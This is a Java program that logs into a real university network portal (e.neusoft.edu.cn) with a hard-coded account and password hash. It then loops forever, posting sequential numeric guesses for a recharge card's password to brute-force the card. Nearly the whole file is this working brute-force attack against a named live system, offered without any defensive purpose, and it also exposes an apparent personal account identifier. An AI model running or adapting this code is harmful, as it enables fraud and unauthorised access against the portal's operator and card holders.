登陆网页验证

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;


import org.apache.http.Header;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.protocol.HTTP;
import org.apache.http.util.EntityUtils;
public class HttpRequst {
public static void main(String strings[]) 
{
    HttpClient httpclient = new DefaultHttpClient();
    try
    {
    HttpGet getMethod=new HttpGet("http://e.neusoft.edu.cn/nav_login");
    getMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
    HttpResponse response=httpclient.execute(getMethod);
    Header arrHeaders[]=response.getAllHeaders();
    EntityUtils.consume(response.getEntity());


    getMethod=new HttpGet("http://e.neusoft.edu.cn/RandomCodeAction.action?randomNum=0.9179729035059037");
    getMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
    response=httpclient.execute(getMethod);
    EntityUtils.consume(response.getEntity());
   
   
   
    String checkcode="";
    Scanner scan=new Scanner(System.in);
    checkcode=scan.next();
    
    HttpPost postMethod=new HttpPost("http://e.neusoft.edu.cn/LoginAction.action");
    postMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
    postMethod.setHeader("Referer", "http://e.neusoft.edu.cn/nav_login");
    List<NameValuePair> params=new ArrayList<NameValuePair>();
    params.add(new BasicNameValuePair("account","13354284438"));
    params.add(new BasicNameValuePair("password","c11d5abf846db275243d94b8472706d4"));
    params.add(new BasicNameValuePair("code",""));
    params.add(new BasicNameValuePair("checkcode",checkcode));
    params.add(new BasicNameValuePair("Submit","Login"));
    //添加参数
    postMethod.setEntity(new UrlEncodedFormEntity(params,HTTP.UTF_8));
    //postMethod.setHeaders(arrHeaders);
    response=httpclient.execute(postMethod);
    EntityUtils.consume(response.getEntity());
   
    class PostThread implements  Runnable
    {
    private HttpClient myclient=null;
    private int num=23453234;
    public PostThread(HttpClient client)
    {
    myclient=client;
    }
@Override
public void run() {
// TODO Auto-generated method stub
while(true)
{
HttpPost postMethod=new HttpPost("http://e.neusoft.edu.cn/rechargecard.action");
postMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
postMethod.setHeader("Referer", "http://e.neusoft.edu.cn/nav_Rcard");
List<NameValuePair> params=new ArrayList<NameValuePair>();
params.add(new BasicNameValuePair("cardName","046uijalz101480"));
params.add(new BasicNameValuePair("cardPsw",""+num++));
params.add(new BasicNameValuePair("Submit","提 交"));
HttpResponse response;
try {
postMethod.setEntity(new UrlEncodedFormEntity(params,HTTP.UTF_8));
response = myclient.execute(postMethod);
EntityUtils.consume(response.getEntity());
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
   
}
   
    };
   
   
    PostThread mPostThread=new PostThread(httpclient);
    mPostThread.run();
   
    }
    catch (IOException e)
    {
   
    }
    finally
    {
   
    }
}


}